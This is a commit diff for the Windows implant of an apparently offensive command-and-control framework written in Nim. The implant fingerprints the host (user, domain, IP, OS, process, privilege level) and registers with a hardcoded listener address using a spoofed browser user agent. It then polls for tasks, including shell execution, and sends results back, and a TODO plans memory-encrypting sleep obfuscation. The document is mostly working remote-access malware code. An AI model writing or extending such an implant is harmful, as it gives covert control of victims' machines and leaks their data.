Implemented agent registration to match new binary structure instead of json.
This commit is contained in:
@@ -23,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
|
||||
|
||||
type
|
||||
AgentConfig* = ref object
|
||||
listener*: string
|
||||
agentId*: string
|
||||
listenerId*: string
|
||||
ip*: string
|
||||
port*: int
|
||||
sleep*: int
|
||||
@@ -1,8 +1,8 @@
|
||||
import os, strutils, strformat, winim, times, algorithm
|
||||
|
||||
import ../[agentTypes, utils]
|
||||
import ../task/result
|
||||
import ../../../common/types
|
||||
import ../agentTypes
|
||||
import ../core/taskresult
|
||||
import ../../../common/[types, utils]
|
||||
|
||||
# Retrieve current working directory
|
||||
proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import winim, osproc, strutils, strformat
|
||||
|
||||
import ../task/result
|
||||
import ../[utils, agentTypes]
|
||||
import ../../../common/types
|
||||
import ../core/taskresult
|
||||
import ../agentTypes
|
||||
import ../../../common/[types, utils]
|
||||
|
||||
proc taskShell*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import os, strutils, strformat
|
||||
|
||||
import ../[agentTypes, utils]
|
||||
import ../task/result
|
||||
import ../../../common/[types, serialize]
|
||||
import ../[agentTypes]
|
||||
import ../core/taskresult
|
||||
import ../../../common/[types, utils, serialize]
|
||||
|
||||
proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
@@ -16,7 +16,6 @@ proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Updating sleep in agent config
|
||||
config.sleep = delay
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
|
||||
@@ -1,46 +1,44 @@
|
||||
import httpclient, json, strformat, asyncdispatch
|
||||
|
||||
import ./[agentTypes, utils, agentInfo]
|
||||
import ../../common/types
|
||||
import ./metadata
|
||||
import ../agentTypes
|
||||
import ../../../common/[types, utils]
|
||||
|
||||
proc register*(config: AgentConfig): string =
|
||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Create registration payload
|
||||
let body = %*{
|
||||
"username": getUsername(),
|
||||
"hostname":getHostname(),
|
||||
"domain": getDomain(),
|
||||
"ip": getIPv4Address(),
|
||||
"os": getOSVersion(),
|
||||
"process": getProcessExe(),
|
||||
"pid": getProcessId(),
|
||||
"elevated": isElevated(),
|
||||
"sleep": config.sleep
|
||||
}
|
||||
echo $body
|
||||
# Define HTTP headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $registrationData.len
|
||||
})
|
||||
|
||||
let body = registrationData.toString()
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
proc getTasks*(config: AgentConfig, agent: string): string =
|
||||
return true
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
proc getTasks*(config: AgentConfig): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
var responseBody = ""
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
|
||||
return responseBody
|
||||
|
||||
except CatchableError as err:
|
||||
@@ -52,9 +50,9 @@ proc getTasks*(config: AgentConfig, agent: string): string =
|
||||
|
||||
return ""
|
||||
|
||||
proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
|
||||
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({
|
||||
@@ -68,7 +66,7 @@ proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[b
|
||||
|
||||
try:
|
||||
# Send binary task result data to server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
@@ -1,6 +1,7 @@
|
||||
import winim, os, net, strformat, strutils, registry
|
||||
|
||||
import ./[agentTypes, utils]
|
||||
import ../agentTypes
|
||||
import ../../../common/[types, utils]
|
||||
|
||||
# Hostname/Computername
|
||||
proc getHostname*(): string =
|
||||
@@ -68,6 +69,69 @@ proc getIPv4Address*(): string =
|
||||
return $getPrimaryIpAddr()
|
||||
|
||||
# Windows Version fingerprinting
|
||||
proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
major = info.dwMajorVersion
|
||||
minor = info.dwMinorVersion
|
||||
build = info.dwBuildNumber
|
||||
spMajor = info.wServicePackMajor
|
||||
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
else:
|
||||
return "Windows 10"
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
else:
|
||||
return "Windows Server 2008"
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
|
||||
@@ -108,4 +172,29 @@ proc getOSVersion*(): string =
|
||||
else:
|
||||
return "Unknown"
|
||||
|
||||
|
||||
proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
|
||||
|
||||
return AgentRegistrationData(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_RESPONSE),
|
||||
flags: cast[uint16](FLAG_PLAINTEXT),
|
||||
seqNr: 1'u32, # TODO: Implement sequence tracking
|
||||
size: 0'u32,
|
||||
hmac: default(array[16, byte])
|
||||
),
|
||||
metadata: AgentMetadata(
|
||||
agentId: uuidToUint32(config.agentId),
|
||||
listenerId: uuidToUint32(config.listenerId),
|
||||
username: getUsername().toBytes(),
|
||||
hostname: getHostname().toBytes(),
|
||||
domain: getDomain().toBytes(),
|
||||
ip: getIPv4Address().toBytes(),
|
||||
os: getOSVersion().toBytes(),
|
||||
process: getProcessExe().toBytes(),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](config.sleep)
|
||||
)
|
||||
)
|
||||
@@ -1,7 +1,6 @@
|
||||
import strutils, strformat
|
||||
|
||||
import ../[agentTypes, utils]
|
||||
import ../../../common/[types, serialize]
|
||||
import ../../../common/[types, utils, serialize]
|
||||
|
||||
proc deserializeTask*(bytes: seq[byte]): Task =
|
||||
|
||||
@@ -127,6 +126,39 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
|
||||
|
||||
return header & body
|
||||
|
||||
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
|
||||
# Serialize registration data
|
||||
packer
|
||||
.add(data.metadata.agentId)
|
||||
.add(data.metadata.listenerId)
|
||||
.addVarLengthMetadata(data.metadata.username)
|
||||
.addVarLengthMetadata(data.metadata.hostname)
|
||||
.addVarLengthMetadata(data.metadata.domain)
|
||||
.addVarLengthMetadata(data.metadata.ip)
|
||||
.addVarLengthMetadata(data.metadata.os)
|
||||
.addVarLengthMetadata(data.metadata.process)
|
||||
.add(data.metadata.pid)
|
||||
.add(data.metadata.isElevated)
|
||||
.add(data.metadata.sleep)
|
||||
|
||||
let metadata = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# TODO: Encrypt metadata
|
||||
|
||||
# Serialize header
|
||||
packer
|
||||
.add(data.header.magic)
|
||||
.add(data.header.version)
|
||||
.add(data.header.packetType)
|
||||
.add(data.header.flags)
|
||||
.add(data.header.seqNr)
|
||||
.add(cast[uint32](metadata.len))
|
||||
.addData(data.header.hmac)
|
||||
|
||||
let header = packer.pack()
|
||||
|
||||
return header & metadata
|
||||
@@ -1,7 +1,8 @@
|
||||
import strutils, tables, json
|
||||
|
||||
import ../agentTypes
|
||||
import ../commands/commands
|
||||
import ../../../common/types
|
||||
import ../../../common/[types, utils]
|
||||
import sugar
|
||||
|
||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
@@ -19,4 +20,5 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
}.toTable
|
||||
|
||||
# Handle task command
|
||||
return handlers[cast[CommandType](task.command)](config, task)
|
||||
return handlers[cast[CommandType](task.command)](config, task)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import times
|
||||
import ../../../common/types
|
||||
import times
|
||||
import ../../../common/[types, utils]
|
||||
|
||||
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import strformat, os, times
|
||||
import strformat, os, times, random
|
||||
import winim
|
||||
import sugar
|
||||
|
||||
import ./[agentTypes, http]
|
||||
import task/handler, task/packer
|
||||
import ../../common/types
|
||||
import ./agentTypes
|
||||
import core/[task, packer, http, metadata]
|
||||
import ../../common/[types, utils]
|
||||
|
||||
const ListenerUuid {.strdefine.}: string = ""
|
||||
const Octet1 {.intdefine.}: int = 0
|
||||
@@ -14,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555
|
||||
const SleepDelay {.intdefine.}: int = 10
|
||||
|
||||
proc main() =
|
||||
randomize()
|
||||
|
||||
#[
|
||||
The process is the following:
|
||||
@@ -35,14 +37,19 @@ proc main() =
|
||||
|
||||
# Create agent configuration
|
||||
var config = AgentConfig(
|
||||
listener: ListenerUuid,
|
||||
agentId: generateUUID(),
|
||||
listenerId: ListenerUuid,
|
||||
ip: address,
|
||||
port: ListenerPort,
|
||||
sleep: SleepDelay
|
||||
)
|
||||
|
||||
let agent = config.register()
|
||||
echo fmt"[+] [{agent}] Agent registered."
|
||||
# Create registration payload
|
||||
let registrationData: AgentRegistrationData = config.getRegistrationData()
|
||||
let registrationBytes = serializeRegistrationData(registrationData)
|
||||
|
||||
config.register(registrationBytes)
|
||||
echo fmt"[+] [{config.agentId}] Agent registered."
|
||||
|
||||
#[
|
||||
Agent routine:
|
||||
@@ -54,13 +61,14 @@ proc main() =
|
||||
]#
|
||||
while true:
|
||||
|
||||
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
|
||||
sleep(config.sleep * 1000)
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
echo fmt"[{date}] Checking in."
|
||||
|
||||
# Retrieve task queue for the current agent
|
||||
let packet: string = config.getTasks(agent)
|
||||
let packet: string = config.getTasks()
|
||||
|
||||
if packet.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
@@ -78,9 +86,8 @@ proc main() =
|
||||
result: TaskResult = config.handleTask(task)
|
||||
resultData: seq[byte] = serializeTaskResult(result)
|
||||
|
||||
echo resultData
|
||||
|
||||
discard config.postResults(result, resultData)
|
||||
# echo resultData
|
||||
config.postResults(resultData)
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
@@ -1,8 +1,8 @@
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="CFD80565"
|
||||
-d:Octet1="127"
|
||||
-d:Octet2="0"
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=9999
|
||||
-d:SleepDelay=3
|
||||
-d:ListenerUuid="A5466110"
|
||||
-d:Octet1="172"
|
||||
-d:Octet2="29"
|
||||
-d:Octet3="177"
|
||||
-d:Octet4="43"
|
||||
-d:ListenerPort=8888
|
||||
-d:SleepDelay=5
|
||||
|
||||
@@ -1,90 +0,0 @@
|
||||
import strformat, strutils
|
||||
import ./agentTypes
|
||||
|
||||
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
major = info.dwMajorVersion
|
||||
minor = info.dwMinorVersion
|
||||
build = info.dwBuildNumber
|
||||
spMajor = info.wServicePackMajor
|
||||
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
else:
|
||||
return "Windows 10"
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
else:
|
||||
return "Windows Server 2008"
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
|
||||
proc toString*(data: seq[byte]): string =
|
||||
result = newString(data.len)
|
||||
for i, b in data:
|
||||
result[i] = char(b)
|
||||
|
||||
proc toBytes*(data: string): seq[byte] =
|
||||
result = newSeq[byte](data.len)
|
||||
for i, c in data:
|
||||
result[i] = byte(c.ord)
|
||||
|
||||
proc uuidToUint32*(uuid: string): uint32 =
|
||||
return fromHex[uint32](uuid)
|
||||
|
||||
proc uuidToString*(uuid: uint32): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc toUint32*(data: seq[byte]): uint32 =
|
||||
if data.len != 4:
|
||||
raise newException(ValueError, "Expected 4 bytes for uint32")
|
||||
|
||||
return uint32(data[0]) or
|
||||
(uint32(data[1]) shl 8) or
|
||||
(uint32(data[2]) shl 16) or
|
||||
(uint32(data[3]) shl 24)
|
||||
Reference in New Issue
Block a user